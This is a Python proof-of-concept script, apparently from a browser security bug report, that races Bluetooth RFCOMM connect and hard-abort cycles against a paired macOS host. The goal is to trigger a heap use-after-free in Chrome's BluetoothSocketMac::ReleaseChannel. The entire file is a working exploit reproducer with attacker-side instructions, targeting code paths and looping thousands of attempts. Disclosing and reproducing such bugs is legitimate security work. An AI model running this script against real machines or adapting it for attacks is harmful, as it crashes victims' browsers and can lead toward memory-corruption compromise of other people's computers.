#!/usr/bin/env python3
"""Attacker-side script. Run on a separate Linux machine with a Bluetooth
adapter, paired with the target macOS host running Chrome + the victim
extension.

Repeatedly opens an RFCOMM connection to the target's advertised service and
hard-aborts it as fast as possible (SO_LINGER with timeout 0 -> RST-style
disconnect at the L2CAP layer). The goal is to land rfcommChannelClosed: on
the target *after* AcceptConnectionRequest() has returned but *before*
rfcommChannelOpenComplete: has been dispatched by IOBluetooth on the next
run-loop turn.

When the race is won, the macOS browser process hits a heap-use-after-free
inside BluetoothSocketMac::ReleaseChannel().
"""
import argparse
import socket
import struct
import sys
import time


def find_rfcomm_channel(bdaddr: str, uuid: str) -> int:
    try:
        import bluetooth  # pybluez
    except ImportError:
        sys.exit("pybluez is required for SDP lookup "
                 "(pip install pybluez), or pass --channel explicitly.")
    services = bluetooth.find_service(uuid=uuid, address=bdaddr)
    if not services:
        sys.exit(f"No service with UUID {uuid} advertised on {bdaddr}. "
                 "Make sure the victim extension is loaded and listening.")
    return services[0]["port"]


def attempt(bdaddr: str, channel: int) -> None:
    s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM,
                      socket.BTPROTO_RFCOMM)
    # Force immediate hard-close on close() so the disconnect event reaches
    # the target as fast as possible.
    s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                 struct.pack("ii", 1, 0))
    s.connect((bdaddr, channel))
    # The target's connection-listener has now fired
    # rfcommChannelOpened: -> OnChannelOpened() -> AcceptConnectionRequest().
    # After AcceptConnectionRequest() returns, the new client_socket has
    # refcount == 1, held only by its own connect_callbacks_ closure.
    #
    # Send a tiny payload so any receive_queue_ backing storage gets
    # allocated (maximises the observable UAF surface), then disconnect
    # immediately so rfcommChannelClosed: arrives before
    # rfcommChannelOpenComplete: gets a chance to add a second reference.
    try:
        s.send(b"A")
    except OSError:
        pass
    s.close()


def main() -> None:
    p = argparse.ArgumentParser(description=__doc__)
    p.add_argument("bdaddr", help="Target macOS host Bluetooth address "
                                  "(XX:XX:XX:XX:XX:XX)")
    p.add_argument("--uuid",
                   default="7a11e1ee-dead-beef-cafe-000000000001",
                   help="Service UUID advertised by the victim extension")
    p.add_argument("--channel", type=int,
                   help="RFCOMM channel (skip SDP lookup if known)")
    p.add_argument("--iterations", type=int, default=5000,
                   help="Number of connect/disconnect attempts")
    args = p.parse_args()

    channel = args.channel or find_rfcomm_channel(args.bdaddr, args.uuid)
    print(f"[*] Target {args.bdaddr} RFCOMM channel {channel}; "
          f"starting {args.iterations} connect/abort cycles")

    for i in range(args.iterations):
        try:
            attempt(args.bdaddr, channel)
        except OSError as e:
            # Connection refused / host down between attempts is expected
            # once the browser process crashes from the UAF.
            print(f"[!] iteration {i}: {e}")
            time.sleep(0.05)
        if i % 100 == 0:
            print(f"[*] {i} attempts")

    print("[*] Done. If the target browser process crashed, check its "
          "stderr for the ASAN heap-use-after-free report in "
          "BluetoothSocketMac::ReleaseChannel.")


if __name__ == "__main__":
    main()